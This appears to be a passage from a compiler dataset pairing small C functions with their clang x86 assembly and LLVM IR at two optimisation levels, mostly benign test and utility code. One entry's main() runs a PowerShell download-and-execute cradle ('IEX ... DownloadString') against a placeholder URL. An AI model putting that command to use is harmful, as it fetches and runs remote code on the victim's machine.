@.str.1 = [27 x i8] c"isbdigit should be 0 for v\00"
define void @t_isbdigit_0x76() {
%1 = call i64 @isbdigit(i32 118)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([169 x i8], [169 x i8]* @.str, i64 0, i64 0), i32 595, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [169 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isbdigit.c\00"
@.str.1 = [27 x i8] c"isbdigit should be 0 for v\00"
define void @t_isbdigit_0x76() {
%1 = tail call i64 @isbdigit(i32 118)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = tail call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([169 x i8], [169 x i8]* @.str, i64 0, i64 0), i32 595, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0))
ret void
}
/* Variables and functions */
int /*<<< orphan*/ malloc(int);
void c4(int n) { malloc(n); }


x86 assembly (clang, -O0):
<c4>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%edi
call   1030 <malloc@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<c4>:
jmp    1030 <malloc@plt>

LLVM IR (-O0):
define void @c4(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @malloc(i32 %3)
ret void
}

LLVM IR (-O2):
define void @c4(i32 %0) {
%2 = tail call i32 @malloc(i32 %0)
ret void
}
/* Type definitions */
struct track_info {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ _file_changed(struct track_info *);
void player_file_changed(struct track_info *ti) { _file_changed(ti); }


x86 assembly (clang, -O0):
<player_file_changed>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <_file_changed@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<player_file_changed>:
jmp    1030 <_file_changed@plt>

LLVM IR (-O0):
%struct.track_info = type { i32 }
define void @player_file_changed(%struct.track_info* %0) {
%2 = alloca %struct.track_info*
store %struct.track_info* %0, %struct.track_info** %2
%3 = load %struct.track_info*, %struct.track_info** %2
%4 = call i32 @_file_changed(%struct.track_info* %3)
ret void
}

LLVM IR (-O2):
%struct.track_info = type { i32 }
define void @player_file_changed(%struct.track_info* %0) {
%2 = tail call i32 @_file_changed(%struct.track_info* %0)
ret void
}
int use_memmgr(const int c_colors, const int c_pages_per_color) {
  if (c_colors >= ((12 * 1024) / 16 / (((unsigned long)1 << 12) / 1024)) / 2) {
    return 0;
  }
  if (c_pages_per_color < 512 / 4) {
    return 0;
  }
  return 1;
}


x86 assembly (clang, -O0):
<use_memmgr>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
movslq -0x8(%rbp),%rax
cmp    $0x60,%rax
jb     1124 <use_memmgr+0x24>
movl   $0x0,-0x4(%rbp)
jmp    1144 <use_memmgr+0x44>
cmpl   $0x80,-0xc(%rbp)
jge    113d <use_memmgr+0x3d>
movl   $0x0,-0x4(%rbp)
jmp    1144 <use_memmgr+0x44>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<use_memmgr>:
cmp    $0x60,%edi
setb   %al
cmp    $0x7f,%esi
setg   %cl
and    %al,%cl
movzbl %cl,%eax
ret

LLVM IR (-O0):
define i32 @use_memmgr(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
store i32 %0, i32* %4
store i32 %1, i32* %5
%6 = load i32, i32* %4
%7 = sext i32 %6 to i64
%8 = icmp uge i64 %7, 96
br i1 %8, label %9, label %10
9: ; preds = %2
store i32 0, i32* %3
br label %15
10: ; preds = %2
%11 = load i32, i32* %5
%12 = icmp slt i32 %11, 128
br i1 %12, label %13, label %14
13: ; preds = %10
store i32 0, i32* %3
br label %15
14: ; preds = %10
store i32 1, i32* %3
br label %15
15: ; preds = %14, %13, %9
%16 = load i32, i32* %3
ret i32 %16
}

LLVM IR (-O2):
define i32 @use_memmgr(i32 %0, i32 %1) {
%3 = icmp ult i32 %0, 96
%4 = icmp sgt i32 %1, 127
%5 = and i1 %3, %4
%6 = zext i1 %5 to i32
ret i32 %6
}
int test_imm_0Buint16_mem(unsigned short *val) {
  return ((*val) & (0x0B << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_0Buint16_mem>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movzwl (%rax),%edx
and    $0xb,%edx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%edx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_0Buint16_mem>:
testb  $0xb,(%rdi)
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_0Buint16_mem(i16* %0) {
%2 = alloca i16*
store i16* %0, i16** %2
%3 = load i16*, i16** %2
%4 = load i16, i16* %3
%5 = zext i16 %4 to i32
%6 = and i32 %5, 11
%7 = icmp ne i32 %6, 0
%8 = zext i1 %7 to i64
%9 = select i1 %7, i32 -20, i32 -40
ret i32 %9
}

LLVM IR (-O2):
define i32 @test_imm_0Buint16_mem(i16* nocapture %0) {
%2 = load i16, i16* %0
%3 = and i16 %2, 11
%4 = icmp eq i16 %3, 0
%5 = select i1 %4, i32 -40, i32 -20
ret i32 %5
}
/* Variables and functions */
int /*<<< orphan*/ __p3dfft_MOD_p3dfft_setup(int *, int *, int *, int *, int *);
int /*<<< orphan*/ assert(int);
int p3dfft_get_precision();
void p3dfft_setup(int *dims, int nx, int ny, int nz, int overwrite) {
  if (sizeof(float) == sizeof(float)) {
    assert(p3dfft_get_precision() == 1);
  } else if (sizeof(float) == sizeof(double)) {
    assert(p3dfft_get_precision() == 2);
  } else {
    assert(0);
  }
  __p3dfft_MOD_p3dfft_setup(dims, &nx, &ny, &nz, &overwrite);
}


x86 assembly (clang, -O0):
<p3dfft_setup>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    %ecx,-0x14(%rbp)
mov    %r8d,-0x18(%rbp)
mov    $0x0,%al
call   1050 <p3dfft_get_precision@plt>
cmp    $0x1,%eax
sete   %al
and    $0x1,%al
movzbl %al,%edi
call   1040 <assert@plt>
mov    -0x8(%rbp),%rdi
lea    -0xc(%rbp),%rsi
lea    -0x10(%rbp),%rdx
lea    -0x14(%rbp),%rcx
lea    -0x18(%rbp),%r8
call   1030 <__p3dfft_MOD_p3dfft_setup@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<p3dfft_setup>:
push   %rbx
sub    $0x10,%rsp
mov    %rdi,%rbx
mov    %esi,0xc(%rsp)
mov    %edx,0x8(%rsp)
mov    %ecx,0x4(%rsp)
mov    %r8d,(%rsp)
xor    %eax,%eax
call   1050 <p3dfft_get_precision@plt>
xor    %edi,%edi
cmp    $0x1,%eax
sete   %dil
call   1040 <assert@plt>
lea    0xc(%rsp),%rsi
lea    0x8(%rsp),%rdx
lea    0x4(%rsp),%rcx
mov    %rsp,%r8
mov    %rbx,%rdi
call   1030 <__p3dfft_MOD_p3dfft_setup@plt>
add    $0x10,%rsp
pop    %rbx
ret

LLVM IR (-O0):
define void @p3dfft_setup(i32* %0, i32 %1, i32 %2, i32 %3, i32 %4) {
%6 = alloca i32*
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
store i32* %0, i32** %6
store i32 %1, i32* %7
store i32 %2, i32* %8
store i32 %3, i32* %9
store i32 %4, i32* %10
%11 = call i32 (...) @p3dfft_get_precision()
%12 = icmp eq i32 %11, 1
%13 = zext i1 %12 to i32
%14 = call i32 @assert(i32 %13)
%15 = load i32*, i32** %6
%16 = call i32 @__p3dfft_MOD_p3dfft_setup(i32* %15, i32* %7, i32* %8, i32* %9, i32* %10)
ret void
}

LLVM IR (-O2):
define void @p3dfft_setup(i32* %0, i32 %1, i32 %2, i32 %3, i32 %4) {
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
store i32 %1, i32* %6
store i32 %2, i32* %7
store i32 %3, i32* %8
store i32 %4, i32* %9
%10 = tail call i32 (...) @p3dfft_get_precision()
%11 = icmp eq i32 %10, 1
%12 = zext i1 %11 to i32
%13 = tail call i32 @assert(i32 %12)
%14 = call i32 @__p3dfft_MOD_p3dfft_setup(i32* %0, i32* %6, i32* %7, i32* %8, i32* %9)
ret void
}
void foo566(int p) {}


x86 assembly (clang, -O0):
<foo566>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<foo566>:
ret

LLVM IR (-O0):
define void @foo566(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
ret void
}

LLVM IR (-O2):
define void @foo566(i32 %0) {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell IEX (New-Object Net.WebClient).DownloadString('<URL>')");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeda(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [66 x i8] c"powershell IEX (New-Object Net.WebClient).DownloadString('<URL>')\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @system(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [66 x i8] c"powershell IEX (New-Object Net.WebClient).DownloadString('<URL>')\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void usage() {
  printf("Usage: dnswall -b (bind ip) -B (bind port) -f (forwarder ip) -F "
         "(forwarder port)\n");
}


x86 assembly (clang, -O0):
<usage>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<usage>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [82 x i8] c"Usage: dnswall -b (bind ip) -B (bind port) -f (forwarder ip) -F (forwarder port)\0A\00"
define void @usage() {
%1 = call i32 @printf(i8* getelementptr inbounds ([82 x i8], [82 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [81 x i8] c"Usage: dnswall -b (bind ip) -B (bind port) -f (forwarder ip) -F (forwarder port)\00"
define void @usage() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([81 x i8], [81 x i8]* @str, i64 0, i64 0))
ret void
}
long double f_fp_scalar_3(long double x) { return x; }


x86 assembly (clang, -O0):
<f_fp_scalar_3>:
push   %rbp
mov    %rsp,%rbp
fldt   0x10(%rbp)
fstpt  -0x10(%rbp)
fldt   -0x10(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<f_fp_scalar_3>:
fldt   0x8(%rsp)
ret

LLVM IR (-O0):
define x86_fp80 @f_fp_scalar_3(x86_fp80 %0) {
%2 = alloca x86_fp80
store x86_fp80 %0, x86_fp80* %2
%3 = load x86_fp80, x86_fp80* %2
ret x86_fp80 %3
}

LLVM IR (-O2):
define x86_fp80 @f_fp_scalar_3(x86_fp80 returned %0) {
ret x86_fp80 %0
}
/* Variables and functions */
int __VERIFIER_nondet_int();
int main() {
  int x;
  int y;
  x = __VERIFIER_nondet_int();
  while (x >= 0) {
    y = 1;
    while (x > y) {
      y = 2 * y;
    }
    x = x - 1;
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1030 <__VERIFIER_nondet_int@plt>
mov    %eax,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
jl     1162 <main+0x52>
movl   $0x1,-0xc(%rbp)
mov    -0x8(%rbp),%eax
cmp    -0xc(%rbp),%eax
jle    1154 <main+0x44>
mov    -0xc(%rbp),%eax
shl    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    113a <main+0x2a>
mov    -0x8(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    1129 <main+0x19>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1030 <__VERIFIER_nondet_int@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
store i32 0, i32* %1
%4 = call i32 (...) @__VERIFIER_nondet_int()
store i32 %4, i32* %2
br label %5
5: ; preds = %16, %0
%6 = load i32, i32* %2
%7 = icmp sge i32 %6, 0
br i1 %7, label %8, label %19
8: ; preds = %5
store i32 1, i32* %3
br label %9
9: ; preds = %13, %8
%10 = load i32, i32* %2
%11 = load i32, i32* %3
%12 = icmp sgt i32 %10, %11
br i1 %12, label %13, label %16
13: ; preds = %9
%14 = load i32, i32* %3
%15 = mul nsw i32 2, %14
store i32 %15, i32* %3
br label %9
16: ; preds = %9
%17 = load i32, i32* %2
%18 = sub nsw i32 %17, 1
store i32 %18, i32* %2
br label %5
19: ; preds = %5
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 (...) @__VERIFIER_nondet_int()
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ memcpy(int **, int **, int);
int /*<<< orphan*/ test_assert(int);
int main(void) {
  int a = 0;
  int *array[10];
  int *array2[10];
  array[3] = &a;
  memcpy(array2 + 3, array + 3, sizeof(int *));
  *array2[3] = 13;
  test_assert(13 == a);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xb0,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
lea    -0x8(%rbp),%rax
mov    %rax,-0x48(%rbp)
lea    -0xb0(%rbp),%rdi
add    $0x18,%rdi
lea    -0x60(%rbp),%rsi
add    $0x18,%rsi
mov    $0x8,%edx
call   1030 <memcpy@plt>
mov    -0x98(%rbp),%rax
movl   $0xd,(%rax)
mov    $0xd,%eax
cmp    -0x8(%rbp),%eax
sete   %al
and    $0x1,%al
movzbl %al,%edi
call   1040 <test_assert@plt>
xor    %eax,%eax
add    $0xb0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0xb8,%rsp
movl   $0x0,0xc(%rsp)
lea    0x78(%rsp),%rsi
lea    0xc(%rsp),%rax
mov    %rax,0x78(%rsp)
lea    0x28(%rsp),%rdi
mov    $0x8,%edx
call   1030 <memcpy@plt>
mov    0x28(%rsp),%rax
movl   $0xd,(%rax)
xor    %edi,%edi
cmpl   $0xd,0xc(%rsp)
sete   %dil
call   1040 <test_assert@plt>
xor    %eax,%eax
add    $0xb8,%rsp
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca [10 x i32*]
%4 = alloca [10 x i32*]
store i32 0, i32* %1
store i32 0, i32* %2
%5 = getelementptr inbounds [10 x i32*], [10 x i32*]* %3, i64 0, i64 3
store i32* %2, i32** %5
%6 = getelementptr inbounds [10 x i32*], [10 x i32*]* %4, i64 0, i64 0
%7 = getelementptr inbounds i32*, i32** %6, i64 3
%8 = getelementptr inbounds [10 x i32*], [10 x i32*]* %3, i64 0, i64 0
%9 = getelementptr inbounds i32*, i32** %8, i64 3
%10 = call i32 @memcpy(i32** %7, i32** %9, i32 8)
%11 = getelementptr inbounds [10 x i32*], [10 x i32*]* %4, i64 0, i64 3
%12 = load i32*, i32** %11
store i32 13, i32* %12
%13 = load i32, i32* %2
%14 = icmp eq i32 13, %13
%15 = zext i1 %14 to i32
%16 = call i32 @test_assert(i32 %15)
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = alloca i32
%2 = alloca [10 x i32*]
%3 = alloca [10 x i32*]
%4 = bitcast i32* %1 to i8*
store i32 0, i32* %1
%5 = bitcast [10 x i32*]* %2 to i8*
%6 = bitcast [10 x i32*]* %3 to i8*
%7 = getelementptr inbounds [10 x i32*], [10 x i32*]* %2, i64 0, i64 3
store i32* %1, i32** %7
%8 = getelementptr inbounds [10 x i32*], [10 x i32*]* %3, i64 0, i64 3
%9 = call i32 @memcpy(i32** %8, i32** %7, i32 8)
%10 = load i32*, i32** %8
store i32 13, i32* %10
%11 = load i32, i32* %1
%12 = icmp eq i32 %11, 13
%13 = zext i1 %12 to i32
%14 = call i32 @test_assert(i32 %13)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int main(int argc, char **argv) {
  int i = 3;
  if ((--i) == 2)
    printf("First cut down then compare\n");
  else
    printf("First compare then cut down\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x3,-0x14(%rbp)
mov    -0x14(%rbp),%eax
add    $0xffffffff,%eax
mov    %eax,-0x14(%rbp)
cmp    $0x2,%eax
jne    1150 <main+0x40>
lea    0xeba(%rip),%rdi
call   1030 <printf@plt>
jmp    115c <main+0x4c>
lea    0xec6(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [29 x i8] c"First cut down then compare\0A\00"
@.str.1 = [29 x i8] c"First compare then cut down\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 3, i32* %6
%7 = load i32, i32* %6
%8 = add nsw i32 %7, -1
store i32 %8, i32* %6
%9 = icmp eq i32 %8, 2
br i1 %9, label %10, label %12
10: ; preds = %2
%11 = call i32 @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str, i64 0, i64 0))
br label %14
12: ; preds = %2
%13 = call i32 @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
br label %14
14: ; preds = %12, %10
ret i32 0
}

LLVM IR (-O2):
@str = [28 x i8] c"First cut down then compare\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @str, i64 0, i64 0))
ret i32 0
}
int valid_sfd(int sfd) { return (sfd > 0); }


x86 assembly (clang, -O0):
<valid_sfd>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
cmpl   $0x0,-0x4(%rbp)
setg   %al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<valid_sfd>:
xor    %eax,%eax
test   %edi,%edi
setg   %al
ret

LLVM IR (-O0):
define i32 @valid_sfd(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp sgt i32 %3, 0
%5 = zext i1 %4 to i32
ret i32 %5
}

LLVM IR (-O2):
define i32 @valid_sfd(i32 %0) {
%2 = icmp sgt i32 %0, 0
%3 = zext i1 %2 to i32
ret i32 %3
}
void SETSTRLEN(char *S, short E) { S[(long)((int)E)] = '\0'; }


x86 assembly (clang, -O0):
<SETSTRLEN>:
push   %rbp
mov    %rsp,%rbp
mov    %si,%ax
mov    %rdi,-0x8(%rbp)
mov    %ax,-0xa(%rbp)
mov    -0x8(%rbp),%rax
movswl -0xa(%rbp),%ecx
movslq %ecx,%rcx
movb   $0x0,(%rax,%rcx,1)
pop    %rbp
ret

x86 assembly (clang, -O2):
<SETSTRLEN>:
movslq %esi,%rax
movb   $0x0,(%rdi,%rax,1)
ret

LLVM IR (-O0):
define void @SETSTRLEN(i8* %0, i16 signext %1) {
%3 = alloca i8*
%4 = alloca i16
store i8* %0, i8** %3
store i16 %1, i16* %4
%5 = load i8*, i8** %3
%6 = load i16, i16* %4
%7 = sext i16 %6 to i32
%8 = sext i32 %7 to i64
%9 = getelementptr inbounds i8, i8* %5, i64 %8
store i8 0, i8* %9
ret void
}

LLVM IR (-O2):
define void @SETSTRLEN(i8* nocapture writeonly %0, i16 signext %1) {
%3 = sext i16 %1 to i64
%4 = getelementptr inbounds i8, i8* %0, i64 %3
store i8 0, i8* %4
ret void
}
int IntersectionContents(int c1, int c2) {
  int out;
  out = c1 | c2;
  if (out & 1) {
    out = 1;
  }
  return out;
}


x86 assembly (clang, -O0):
<IntersectionContents>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%eax
or     -0x8(%rbp),%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%eax
and    $0x1,%eax
cmp    $0x0,%eax
je     1129 <IntersectionContents+0x29>
movl   $0x1,-0xc(%rbp)
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<IntersectionContents>:
or     %esi,%edi
test   $0x1,%dil
mov    $0x1,%eax
cmove  %edi,%eax
ret

LLVM IR (-O0):
define i32 @IntersectionContents(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%6 = load i32, i32* %3
%7 = load i32, i32* %4
%8 = or i32 %6, %7
store i32 %8, i32* %5
%9 = load i32, i32* %5
%10 = and i32 %9, 1
%11 = icmp ne i32 %10, 0
br i1 %11, label %12, label %13
12: ; preds = %2
store i32 1, i32* %5
br label %13
13: ; preds = %12, %2
%14 = load i32, i32* %5
ret i32 %14
}

LLVM IR (-O2):
define i32 @IntersectionContents(i32 %0, i32 %1) {
%3 = or i32 %1, %0
%4 = and i32 %3, 1
%5 = icmp eq i32 %4, 0
%6 = select i1 %5, i32 %3, i32 1
ret i32 %6
}
/* Variables and functions */
int /*<<< orphan*/ Assert_real(int, char *, int, char *);
int isqrt(int);
void t_sqrt_44() {
  Assert_real((isqrt(44) == 6),
              "/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/"
              "2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/"
              "dg/z88dk/test/suites/stdlib/isqrt.c",
              225, ("Integer square root of 44 should be 6"));
}


x86 assembly (clang, -O0):
<t_sqrt_44>:
push   %rbp
mov    %rsp,%rbp
mov    $0x2c,%edi
call   1030 <isqrt@plt>
cmp    $0x6,%eax
sete   %al
and    $0x1,%al
movzbl %al,%edi
lea    0xec0(%rip),%rsi
mov    $0xe1,%edx
lea    0xf56(%rip),%rcx
call   1040 <Assert_real@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<t_sqrt_44>:
push   %rax
mov    $0x2c,%edi
call   1030 <isqrt@plt>
xor    %edi,%edi
cmp    $0x6,%eax
sete   %dil
lea    0xec5(%rip),%rsi
lea    0xf60(%rip),%rcx
mov    $0xe1,%edx
pop    %rax
jmp    1040 <Assert_real@plt>

LLVM IR (-O0):
@.str = [162 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/stdlib/isqrt.c\00"
@.str.1 = [38 x i8] c"Integer square root of 44 should be 6\00"
define void @t_sqrt_44() {
%1 = call i32 @isqrt(i32 44)
%2 = icmp eq i32 %1, 6
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([162 x i8], [162 x i8]* @.str, i64 0, i64 0), i32 225, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.1, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [162 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/stdlib/isqrt.c\00"
@.str.1 = [38 x i8] c"Integer square root of 44 should be 6\00"
define void @t_sqrt_44() {
%1 = tail call i32 @isqrt(i32 44)
%2 = icmp eq i32 %1, 6
%3 = zext i1 %2 to i32
%4 = tail call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([162 x i8], [162 x i8]* @.str, i64 0, i64 0), i32 225, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.1, i64 0, i64 0))
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ uint8_t;

/* Variables and functions */
uint8_t *getProtoHeader(uint8_t *data) { return &data[0]; }


x86 assembly (clang, -O0):
<getProtoHeader>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<getProtoHeader>:
mov    %rdi,%rax
ret

LLVM IR (-O0):
define i32* @getProtoHeader(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = getelementptr inbounds i32, i32* %3, i64 0
ret i32* %4
}

LLVM IR (-O2):
define i32* @getProtoHeader(i32* readnone returned %0) {
ret i32* %0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, char *);
int /*<<< orphan*/ revword(char *);
void main() {
  char myStr[] = "123456789 The quick brown fox jumps over the lazy dog.";
  printf("original: %s\n\n", myStr);
  revword(myStr);
  printf("reverse words: %s\n\n", myStr);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
lea    -0x40(%rbp),%rdi
lea    0xebd(%rip),%rsi
mov    $0x37,%edx
call   1040 <memcpy@plt>
lea    -0x40(%rbp),%rsi
lea    0xedf(%rip),%rdi
call   1030 <printf@plt>
lea    -0x40(%rbp),%rdi
call   1050 <revword@plt>
lea    -0x40(%rbp),%rsi
lea    0xed5(%rip),%rdi
call   1030 <printf@plt>
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x40,%rsp
movaps 0xef4(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movaps 0xed8(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movaps 0xebc(%rip),%xmm0
movaps %xmm0,(%rsp)
movabs $0x2e676f6420797a,%rax
mov    %rax,0x2f(%rsp)
lea    0xed9(%rip),%rdi
mov    %rsp,%rbx
mov    %rbx,%rsi
call   1030 <printf@plt>
mov    %rbx,%rdi
call   1040 <revword@plt>
lea    0xece(%rip),%rdi
mov    %rbx,%rsi
call   1030 <printf@plt>
add    $0x40,%rsp
pop    %rbx
ret

LLVM IR (-O0):
@__const.main.myStr = [55 x i8] c"123456789 The quick brown fox jumps over the lazy dog.\00"
@.str = [15 x i8] c"original: %s\0A\0A\00"
@.str.1 = [20 x i8] c"reverse words: %s\0A\0A\00"
define void @main() {
%1 = alloca [55 x i8]
%2 = bitcast [55 x i8]* %1 to i8*
%3 = getelementptr inbounds [55 x i8], [55 x i8]* %1, i64 0, i64 0
%4 = call i32 @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8* %3)
%5 = getelementptr inbounds [55 x i8], [55 x i8]* %1, i64 0, i64 0
%6 = call i32 @revword(i8* %5)
%7 = getelementptr inbounds [55 x i8], [55 x i8]* %1, i64 0, i64 0
%8 = call i32 @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0), i8* %7)
ret void
}

LLVM IR (-O2):
@__const.main.myStr = [55 x i8] c"123456789 The quick brown fox jumps over the lazy dog.\00"
@.str = [15 x i8] c"original: %s\0A\0A\00"
@.str.1 = [20 x i8] c"reverse words: %s\0A\0A\00"
define void @main() {
%1 = alloca [55 x i8]
%2 = getelementptr inbounds [55 x i8], [55 x i8]* %1, i64 0, i64 0
%3 = call i32 @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i8* %2)
%4 = call i32 @revword(i8* %2)
%5 = call i32 @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0), i8* %2)
ret void
}